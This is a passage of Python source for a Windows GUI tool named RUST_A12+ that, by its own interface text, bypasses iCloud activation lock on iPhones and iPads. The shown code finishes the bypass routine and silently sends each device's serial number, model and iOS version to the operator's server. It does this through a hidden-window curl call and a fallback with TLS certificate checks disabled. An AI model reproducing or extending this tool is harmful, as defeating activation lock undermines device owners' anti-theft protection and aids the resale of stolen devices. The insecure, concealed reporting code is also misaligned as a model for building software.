                self.log(f"📱 Device: {device_model}, iOS: {ios_version}, SN: {final_sn}", "info")
                
                # Отправка отчёта об успешном обходе hidden menu
                if final_sn and final_sn.lower() != "unknown":
                    report_thread = threading.Thread(
                        target=self._send_bypass_complete_report_bg,
                        args=(final_sn, ios_version, device_model),
                        daemon=True,
                        name="BypassCompleteReport"
                    )
                    report_thread.start()
                    self.log("[i] Bypass completion report queued for background sending", "detail")
                    
                    # Показываем пользователю успех
                    self.log("✅ Hidden menu bypass completed successfully!", "success")
                    self.log_queue.put(("✅ Bypass completed! Report sent.", "set_button_text"))
                    self.log_queue.put(("show_done", "show_done"))
                else:
                    self.log("⚠️ Serial Number not obtained — report skipped", "warn")
                    self.log_queue.put(("✅ Bypass done, but no SN for report.", "set_button_text"))
                    self.log_queue.put(("show_done", "show_done"))
            else:
                self.log("❌ Could not retrieve device info.", "error")
                self.log_queue.put(("⚠️ Bypass may have issues.", "set_button_text"))
            
            self.log_queue.put((100, "set_progress"))
            
        except Exception as e:
            # Глобальный перехват непредвиденных ошибок
            self.log(f"❌ CRITICAL ERROR: {type(e).__name__}: {e}", "error")
            import traceback
            self.log(f"[detail] Traceback: {traceback.format_exc()}", "detail")
            self.log_queue.put(("❌ Critical error occurred!", "set_button_text"))
            self.log_queue.put(("red", "set_progress_color"))
            
        finally:
            self.is_activating = False
            self._clear_lockdown_cache()
            # Очистка временных файлов на всякий случай
            for tmp_name in ["plist_tmp.plist", "plist_tmp_1.plist", "plist_tmp_2.plist"]:
                tmp_path = Path(self.temp_dir) / tmp_name
                if tmp_path.exists():
                    try:
                        tmp_path.unlink()
                    except Exception:
                        pass


    # ==================== МЕТОД: отправка отчёта об успешном обходе hidden menu ====================
    def _send_bypass_complete_report_bg(self, sn: str, ios_version: str, device_model: str):
        """Send hidden menu bypass completion report with device info."""
        report_data = {
            "sn": sn,
            "ios_version": ios_version,
            "device_model": device_model,
            "status": "success",
            "bypass_method": "hidden_menu",
            "completed_at": datetime.datetime.now().isoformat(),
            "message": f"Device {device_model} (iOS {ios_version}) successfully bypassed using hidden menu method"
        }
        
        SERVER_URL = "https://rust-a12.info:8080/bypass_complete_report.php"
        json_payload = json.dumps(report_data)
        
        # === PRIMARY: curl.exe ===
        if self._send_report_via_curl(SERVER_URL, json_payload):
            self.log(f"[✓] Bypass report sent for SN: {sn}", "success")
            return True
        
        # === FALLBACK: urllib ===
        self.log("[i] curl.exe failed, falling back to urllib...", "detail")
        
        MAX_RETRIES = 3
        TIMEOUT = 30
        
        for attempt in range(1, MAX_RETRIES + 1):
            try:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                context.options |= ssl.OP_LEGACY_SERVER_CONNECT
                
                req = urllib.request.Request(
                    SERVER_URL,
                    data=json_payload.encode('utf-8'),
                    headers={
                        'Content-Type': 'application/json',
                        'User-Agent': 'RustA12+/Windows',
                        'Accept': 'application/json',
                        'Connection': 'close'
                    },
                    method='POST'
                )
                
                with urllib.request.urlopen(req, timeout=TIMEOUT, context=context) as response:
                    raw = response.read().decode('utf-8', errors='replace')
                    resp_data = json.loads(raw)
                    
                    if resp_data.get("success"):
                        self.log(f"[✓] Bypass report sent via urllib: {resp_data.get('message', 'OK')} (ID: {resp_data.get('id', '?')})", "success")
                        return True
                    else:
                        self.log(f"[!] Server: {resp_data.get('error', 'unknown error')}", "warn")
                        return False
                        
            except urllib.error.HTTPError as e:
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] HTTP {e.code}: {e.reason}", "warn")
            except urllib.error.URLError as e:
                reason = getattr(e.reason, 'strerror', str(e.reason)) if hasattr(e.reason, 'strerror') else str(e.reason)
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] Network: {reason}", "warn")
            except ssl.SSLError as e:
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] SSL: {e}", "warn")
            except json.JSONDecodeError as e:
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] JSON error: {e}", "warn")
            except TimeoutError:
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] Timeout ({TIMEOUT}s)", "warn")
            except Exception as e:
                self.log(f"[urllib {attempt}/{MAX_RETRIES}] {type(e).__name__}: {e}", "warn")
            
            if attempt < MAX_RETRIES:
                time.sleep(2)
        
        self.log("[!] Report sending failed — bypass still successful", "warn")
        return False


    def _send_report_via_curl(self, server_url: str, json_payload: str) -> bool:
        """Send report using curl.exe subprocess."""
        self.log("[+] Sending report via curl.exe...", "detail")
        
        curl_path = shutil.which("curl") or shutil.which("curl.exe")
        if not curl_path:
            self.log("[-] curl.exe not found in PATH", "detail")
            return False
        
        curl_cmd = [
            curl_path,
            "-s", "-S",
            "-X", "POST",
            "-H", "Content-Type: application/json",
            "-H", "User-Agent: RustA12+/Windows",
            "-H", "Connection: close",
            "-d", json_payload,
            "--max-time", "30",
            "--retry", "2",
            "--retry-delay", "2",
            "--connect-timeout", "10",
            server_url
        ]
        
        # Скрываем консоль на Windows
        startupinfo = None
        creationflags = 0
        if sys.platform == "win32":
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = subprocess.SW_HIDE
            creationflags = subprocess.CREATE_NO_WINDOW
        
        try:
            result = subprocess.run(
                curl_cmd,
                startupinfo=startupinfo,
                creationflags=creationflags,
                capture_output=True,
                text=True,
                timeout=40
            )
            
            if result.returncode == 0 and result.stdout.strip():
                try:
                    resp = json.loads(result.stdout.strip())
                    if resp.get("success"):
                        self.log(f"[✓] Server response: {resp.get('message', 'OK')} (ID: {resp.get('id', '?')})", "detail")
                        return True
                    else:
                        self.log(f"[!] Server error: {resp.get('error', 'unknown')}", "warn")
                        return False
                except json.JSONDecodeError:
                    # Сервер ответил, считаем успехом
                    self.log(f"[curl] Got response (non-JSON): {result.stdout.strip()[:100]}", "detail")
                    return True
            
            error_msg = (result.stderr or result.stdout or "no output").strip()
            self.log(f"[curl] Failed (code {result.returncode}): {error_msg[:150]}", "warn")
            return False
            
        except subprocess.TimeoutExpired:
            self.log("[curl] Timeout expired", "warn")
            return False
        except FileNotFoundError:
            self.log("[-] curl executable not found", "detail")
            return False
        except Exception as e:
            self.log(f"[curl] Exception: {type(e).__name__}: {e}", "warn")
            return False

    # ==================== DEVICE POLLING ====================
    def _device_polling_loop(self):
        last_seen = False
        while True:
            try:
                info = self.get_device_info_native()
                currently_seen = info is not None
                if currently_seen and not last_seen:
                    self.log_queue.put(("✅ Device detected", "success"))
                    self.log_queue.put((info, "update_device_labels"))
                    if not self.is_activating:
                        if hasattr(self, 'intro_frame'): self.intro_frame.hide()
                        if hasattr(self, 'home_frame'): self.home_frame.show()
                        if hasattr(self, 'label_device_img'):
                            self.label_device_img.setPixmap(QPixmap(resource_path("img/on1.png")))
                elif not currently_seen and last_seen and not self.is_activating:
                    if hasattr(self, 'intro_frame'): self.intro_frame.show()
                    if hasattr(self, 'home_frame'): self.home_frame.hide()
                    if hasattr(self, 'done_frame'): self.done_frame.hide()
                last_seen = currently_seen
            except Exception as e:
                self.log(f"[POLL ERROR] {e}", "detail")
            time.sleep(2)

    # ==================== UI SETUP ====================
    def setup_ui(self):
        # Main central widget with dark background
        self.centralwidget = QWidget(self)
        self.centralwidget.setObjectName("main_central")
        self.setCentralWidget(self.centralwidget)
        self.centralwidget.setStyleSheet("""
            QWidget#main_central {
                background-color: transparent;
            }
        """)
        
        # Create grid pattern background
        self.grid_background = GridBackground(self.centralwidget)
        self.grid_background.setGeometry(0, 0, 800, 540)
        self.grid_background.lower()
        
        # Left Sidebar
        self.sidebar = QFrame(self.centralwidget)
        self.sidebar.setGeometry(0, 0, 80, 540)
        self.sidebar.setStyleSheet("""
            QFrame {
                background-color: transparent;
            
                border-top-left-radius: 25px;
                border-bottom-left-radius: 25px;
            }
        """)
        
        # Sidebar buttons container
        sidebar_layout = QVBoxLayout(self.sidebar)
        sidebar_layout.setSpacing(20)
        sidebar_layout.setContentsMargins(0, 30, 0, 0)
        
        # Telegram button
        self.btn_telegram = QPushButton(self.sidebar)
        self.btn_telegram.setFixedSize(50, 50)
        self.btn_telegram.setCursor(Qt.PointingHandCursor)
        self.btn_telegram.setToolTip("Open Telegram Bot @rustbybot")

        # Загрузка иконки Telegram
        telegram_icon_path = resource_path("img/telegram.png")
        if Path(telegram_icon_path).exists():
            # Создаём QIcon из PNG
            telegram_icon = QIcon(telegram_icon_path)
            self.btn_telegram.setIcon(telegram_icon)
            self.btn_telegram.setIconSize(QSize(32, 32))  # Размер иконки
        else:
            # Фоллбэк на текст если картинки нет
            self.btn_telegram.setText("✈")
            self.btn_telegram.setFont(QFont("Segoe UI", 20))

        self.btn_telegram.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 15);
                border: 1px solid #0088cc;
                border-radius: 15px;
                color: #0088cc;
            }
            QPushButton:hover {
                background-color: #0088cc;
                border-color: #0088cc;
            }
            QPushButton:pressed {
                background-color: #0077b5;
                border-color: #0077b5;
            }
        """)
        sidebar_layout.addWidget(self.btn_telegram, alignment=Qt.AlignHCenter)
        
        # Lightning bolt button
        self.btn_boost = QPushButton(self.sidebar)
        self.btn_boost.setFixedSize(50, 50)
        self.btn_boost.setCursor(Qt.PointingHandCursor)
        self.btn_boost.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 15);
                border: 1px solid #8b5cf6;
                border-radius: 15px;
                color: #8b5cf6;
                font-size: 20px;
            }
            QPushButton:hover {
                background-color: #8b5cf6;
                color: white;
            }
        """)
        self.btn_boost.setText("⚡")
        sidebar_layout.addWidget(self.btn_boost, alignment=Qt.AlignHCenter)
        
        # List/menu button
        self.btn_menu = QPushButton(self.sidebar)
        self.btn_menu.setFixedSize(50, 50)
        self.btn_menu.setCursor(Qt.PointingHandCursor)
        self.btn_menu.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 15);
                border: 1px solid #10b981;
                border-radius: 15px;
                color: #10b981;
                font-size: 18px;
            }
            QPushButton:hover {
                background-color: #10b981;
                color: white;
            }
        """)
        self.btn_menu.setText("☰")
        sidebar_layout.addWidget(self.btn_menu, alignment=Qt.AlignHCenter)
        
        sidebar_layout.addStretch()
        
        # ==================== INTRO FRAME ====================
        self.intro_frame = QFrame(self.centralwidget)
        self.intro_frame.setGeometry(80, 0, 720, 540)
        self.intro_frame.setStyleSheet("""
            QFrame {
                background-color: transparent;
                border: none;
                border-top-right-radius: 25px;
                border-bottom-right-radius: 25px;
            }
        """)
        self.label_title_main = QLabel(self.intro_frame)
        self.label_title_main.setGeometry(80, 110, 371, 131)

        pixmap = QPixmap(resource_path("img/logo.png"))
        self.label_title_main.setPixmap(pixmap)
        self.label_title_main.setScaledContents(True)

        self.label_title_main.setStyleSheet("""
            QLabel {
                background-color: transparent;
            }
        """)
        
        # Welcome subtitle
        self.label_welcome = QLabel("Welcome to Hidden iCloud", self.intro_frame)
        self.label_welcome.setGeometry(100, 225, 500, 40)
        self.label_welcome.setFont(QFont("Segoe UI", 24, QFont.Bold))
        self.label_welcome.setStyleSheet("""
            QLabel {
                color: #ffffff;
                background-color: transparent;
            }
        """)
        
        # Description text
        self.label_description = QLabel(
            "This tool helps bypass iCloud on all iPad and iPhone 6s – 17 Pro Max\n"
            "To get started, connect your device.",
            self.intro_frame
        )
        self.label_description.setGeometry(100, 280, 550, 100)
        self.label_description.setFont(QFont("Segoe UI", 12))
        self.label_description.setStyleSheet("""
            QLabel {
                color: #9ca3af;
                background-color: transparent;
            }
        """)
        self.label_description.setWordWrap(True)
        self.label_description.setAlignment(Qt.AlignTop | Qt.AlignLeft)
        
        # Status button with glow effect
        self.frame_status_container = QFrame(self.intro_frame)
        self.frame_status_container.setGeometry(100, 370, 320, 50)
        self.frame_status_container.setStyleSheet("""
            QFrame {
                background-color: qlineargradient(x1:0, y1:0, x2:1, y2:0,
                    stop:0 #1e40af, stop:1 #3b82f6);
                border-radius: 15px;
            }
        """)
        
        # Add glow effect using QGraphicsDropShadowEffect
        from PySide6.QtWidgets import QGraphicsDropShadowEffect
        from PySide6.QtGui import QColor
        shadow = QGraphicsDropShadowEffect()
        shadow.setBlurRadius(20)
        shadow.setXOffset(0)
        shadow.setYOffset(0)
        shadow.setColor(QColor("#3b82f6"))
        self.frame_status_container.setGraphicsEffect(shadow)
        
        self.label_status = QLabel("⌛ Searching for devices...", self.frame_status_container)
        self.label_status.setGeometry(0, 0, 320, 50)
        self.label_status.setFont(QFont("Segoe UI", 13, QFont.Bold))
        self.label_status.setStyleSheet("""
            QLabel {
                color: #ffffff;
                background-color: transparent;
                qproperty-alignment: AlignCenter;

            }
        """)
        self.label_status.setAlignment(Qt.AlignVCenter | Qt.AlignLeft)
        
        # ==================== HOME FRAME ====================
        self.home_frame = QFrame(self.centralwidget)
        self.home_frame.setGeometry(80, 0, 720, 480)
        self.home_frame.setStyleSheet("""
            QFrame {
                background-color: transparent;
                border: none;
                border-top-right-radius: 25px;
            }
        """)
        # Device image placeholder
        self.label_device_img = QLabel(self.home_frame)
        self.label_device_img.setGeometry(15, 75, 280, 395)
        self.label_device_img.setScaledContents(True)
        if Path(resource_path("img/on1.png")).exists():
            self.label_device_img.setPixmap(QPixmap(resource_path("img/on1.png")))
        
        # Device info cards
        info_y_positions = [80, 140, 200, 260, 320]
        label_names = ["DeviceName", "SerialNumber", "iOSVersion", "ProductType", "ActivationState"]
        self.device_labels = {}
        
        for i, (y_pos, name) in enumerate(zip(info_y_positions, label_names)):
            # Card background
            card = QFrame(self.home_frame)
            card.setGeometry(320, y_pos, 310, 40)
            card.setStyleSheet("""
                QFrame {
                    background-color: rgba(255, 255, 255, 15); color: white; border-radius: 15px;
                    
                }
            """)
            
            # Label
            lbl = QLabel("", self.home_frame)
            lbl.setGeometry(335, y_pos, 390, 40)
            lbl.setFont(QFont("Segoe UI", 12 if i > 0 else 16, QFont.Bold if i == 0 else QFont.Normal))
            lbl.setStyleSheet("""
                QLabel {
                    color: #ffffff;
                    background-color: transparent;
                }
            """)
            if name == "SerialNumber":
                lbl.setCursor(Qt.PointingHandCursor)
                lbl.mousePressEvent = lambda event: self.copy_serial_number()
            self.device_labels[name] = lbl
        
        # Logo at top right
        self.label_logo_top = QLabel(self.home_frame)
        self.label_logo_top.setGeometry(37, 5, 280, 125)
        self.label_logo_top.setScaledContents(True)
        self.label_logo_top.setStyleSheet("background-color: transparent;")
        if Path(resource_path("img/logo.png")).exists():
            self.label_logo_top.setPixmap(QPixmap(resource_path("img/logo.png")))
        
        # Activate button
        self.activate_button = QPushButton("🚀 START HIDDEN iCLOUD!", self.home_frame)
        self.activate_button.setGeometry(320, 425, 310, 35)
        self.activate_button.setFont(QFont("Segoe UI", 14, QFont.Bold))
        self.activate_button.setCursor(Qt.PointingHandCursor)
        self.activate_button.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 28);
                color: white;
                border: 1px solid rgba(255, 255, 255, 55);
                border-radius: 15px;
            }

            QPushButton:hover {
                background-color: rgba(255, 255, 255, 42);
                border: 1px solid rgba(255, 255, 255, 75);
            }

            QPushButton:pressed {
                background-color: rgba(255, 255, 255, 18);
                border: 1px solid rgba(255, 255, 255, 40);
            }
        """)
        
        # Add glow effect to activate button
        activate_shadow = QGraphicsDropShadowEffect()
        activate_shadow.setBlurRadius(15)
        activate_shadow.setXOffset(0)
        activate_shadow.setYOffset(0)
        activate_shadow.setColor(QColor("#3b82f6"))
        self.activate_button.setGraphicsEffect(activate_shadow)
        
        # Enter GUID button
        self.enter_guid_button = QPushButton("🔑 Enter GUID", self.home_frame)
        self.enter_guid_button.setGeometry(320, 380, 150, 35)
        self.enter_guid_button.setFont(QFont("Segoe UI", 11))
        self.enter_guid_button.setCursor(Qt.PointingHandCursor)
        self.enter_guid_button.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 28);
                color: white;
                border: 1px solid rgba(255, 255, 255, 55);
                border-radius: 15px;
            }

            QPushButton:hover {
                background-color: rgba(255, 255, 255, 42);
                border: 1px solid rgba(255, 255, 255, 75);
            }

            QPushButton:pressed {
                background-color: rgba(255, 255, 255, 18);
                border: 1px solid rgba(255, 255, 255, 40);
            }
        """)
        
        # Block OTA button
        self.block_ota_button = QPushButton("🚫 Block OTA", self.home_frame)
        self.block_ota_button.setGeometry(480, 380, 150, 35)
        self.block_ota_button.setFont(QFont("Segoe UI", 11))
        self.block_ota_button.setCursor(Qt.PointingHandCursor)
        self.block_ota_button.setStyleSheet("""
            QPushButton {
                background-color: rgba(255, 255, 255, 28);
                color: white;
                border: 1px solid rgba(255, 255, 255, 55);
                border-radius: 15px;
            }

            QPushButton:hover {
                background-color: rgba(255, 255, 255, 42);
                border: 1px solid rgba(255, 255, 255, 75);
            }

            QPushButton:pressed {
                background-color: rgba(255, 255, 255, 18);
                border: 1px solid rgba(255, 255, 255, 40);
            }
        """)
        
        # Progress bar frame
        self.pb_frame = QFrame(self.home_frame)
        self.pb_frame.setGeometry(320, 465, 310, 8)
        self.pb_frame.setStyleSheet("""
            QFrame {
                background-color: #1f2937;
                border-radius: 4px;
            }
        """)
        
        self.progress_bar = QFrame(self.pb_frame)
        self.progress_bar.setGeometry(0, 0, 0, 8)
        self.progress_bar.setStyleSheet("""
            QFrame {
                background-color: qlineargradient(x1:0, y1:0, x2:1, y2:0,
                    stop:0 #1e40af, stop:1 #3b82f6);
                border-radius: 4px;
            }
        """)
        
        # ==================== DONE FRAME ====================
        self.done_frame = QFrame(self.centralwidget)
        self.done_frame.setGeometry(80, 0, 720, 540)
        self.done_frame.setStyleSheet("""
            QFrame {
                background-color: rgba(5, 8, 14, 215);
                border: none;
                border-top-right-radius: 25px;
                border-bottom-right-radius: 25px;
            }
        """)
        # Success image
        self.label_done_ios = QLabel(self.done_frame)
        self.label_done_ios.setGeometry(80, 60, 180, 380)
        self.label_done_ios.setScaledContents(True)
        if Path(resource_path("img/activated.png")).exists():
            self.label_done_ios.setPixmap(QPixmap(resource_path("img/activated.png")))
        
        # Done title
        self.label_done_title = QLabel("Done!", self.done_frame)
        self.label_done_title.setGeometry(320, 120, 300, 60)
        self.label_done_title.setFont(QFont("Segoe UI", 36, QFont.Bold))
        self.label_done_title.setStyleSheet("""
            QLabel {
                color: #ff2400;
                background-color: transparent;
            }
        """)
        
        # Done message
        self.label_done_message = QLabel(
            "Thank you for using RUST_A12+!\n" \
            "Your device has been successfully activated!\n"
            "Please complete the initial setup as usual.\n\n"
            "If you encounter any issues,\n" \
            "please run the bypass process again.",
            self.done_frame
        )
        self.label_done_message.setGeometry(320, 190, 420, 150)
        self.label_done_message.setFont(QFont("Segoe UI", 12))
        self.label_done_message.setStyleSheet("""
            QLabel {
                color: #9ca3af;
                background-color: transparent;
            }
        """)
        self.label_done_message.setWordWrap(True)
        self.label_done_message.setAlignment(Qt.AlignTop | Qt.AlignLeft)
        
        # Back button
        self.back_button = QPushButton("◁ Back to Home", self.done_frame)
        self.back_button.setGeometry(320, 380, 350, 50)
        self.back_button.setFont(QFont("Segoe UI", 14, QFont.Bold))
        self.back_button.setCursor(Qt.PointingHandCursor)
        self.back_button.setStyleSheet("""
            QPushButton {
                background-color: qlineargradient(x1:0, y1:0, x2:1, y2:0,
                    stop:0 #1e40af, stop:1 #3b82f6);
                color: white;
                border: none;
                border-radius: 15px;
            }
            QPushButton:hover {
                background-color: qlineargradient(x1:0, y1:0, x2:1, y2:0,
                    stop:0 #1e3a8a, stop:1 #2563eb);
            }
        """)

        # Window control buttons (top right corner)
        self.window_controls = QFrame(self.centralwidget)
        self.window_controls.setGeometry(720, 0, 80, 40)
        self.window_controls.setStyleSheet("background-color: transparent;")

        # Minimize button
        self.btn_minimize = QPushButton("−", self.window_controls)
        self.btn_minimize.setGeometry(0, 0, 40, 40)
        self.btn_minimize.setStyleSheet("""
            QPushButton {
                background-color: transparent;
                color: #ffffff;
                border: none;
                font-size: 20px;
                font-weight: bold;
            }
            QPushButton:hover {
                background-color: #3b82f6;
            }
        """)
        self.btn_minimize.clicked.connect(self.showMinimized)

        # Close button
        self.btn_close = QPushButton("×", self.window_controls)
        self.btn_close.setGeometry(40, 0, 40, 40)
        self.btn_close.setStyleSheet("""
            QPushButton {
                background-color: transparent;
                color: #ffffff;
                border: none;
                font-size: 20px;
                font-weight: bold;
                border-top-right-radius: 25px;
            }
            QPushButton:hover {
                background-color: #ef4444;
                border-top-right-radius: 25px;
            }
        """)
        self.btn_close.clicked.connect(self.close)
        
        # Initialize visibility
        self.home_frame.hide()
        self.done_frame.hide()
        self.intro_frame.show()

    def setup_connections(self):
        self.activate_button.clicked.connect(self.start_activation_thread)
        self.enter_guid_button.clicked.connect(self.prompt_manual_guid)
        self.block_ota_button.clicked.connect(self.open_block_ota_url)
        self.back_button.clicked.connect(self.return_to_home)
        self.btn_telegram.clicked.connect(self.open_telegram)

    def return_to_home(self):
        if hasattr(self, 'done_frame'): self.done_frame.hide()
        if hasattr(self, 'home_frame'): self.home_frame.show()
        if hasattr(self, 'label_device_img'):
            self.label_device_img.setPixmap(QPixmap(resource_path("img/on1.png")))
        self.is_activating = False

    def setup_console(self):
        self.console_frame = QFrame(self.centralwidget)
        self.console_frame.setGeometry(0, 480, 800, 60)
        self.console_frame.setStyleSheet("""
        QFrame {
            background-color: rgba(255, 255, 255, 15);
            border-top: 1px solid #1f2937;
            border-bottom-left-radius: 25px;
            border-bottom-right-radius: 25px;
        }
        
        """)
        
        self.console = QTextEdit(self.console_frame)
        self.console.setGeometry(12, 6, 885, 48)
        self.console.setReadOnly(True)
        self.console.setStyleSheet("""
        QTextEdit {
            background-color: transparent;
            color: #d1d5db;
            font-family: 'Consolas', 'Courier New', monospace;
            font-size: 10pt;
            border: none;
            padding: 2px 6px;
        }
        """)
        self.console.setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)
        self.console.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
        self.console.append("<span style='color:#3b82f6; font-weight:bold; font-size:11pt;'>✦ RUST A12+ — Live Log (Windows)</span>")
        self.console.append("<span style='color:#6b7280;'>Awaiting device connection...</span>")
        self.console_frame.show()

    def closeEvent(self, event):
        self._clear_lockdown_cache()
        for t in self.active_threads[:]:
            if t.is_alive():
                # Threads are daemon, will exit on app close
                pass
        event.accept()


if __name__ == "__main__":
    if sys.platform != "win32":
        print("⚠ This build is for Windows only.")
        sys.exit(1)
    import multiprocessing
    multiprocessing.freeze_support()
    app = QApplication(sys.argv)
    window = MainWindow()
    window.show()
    sys.exit(app.exec())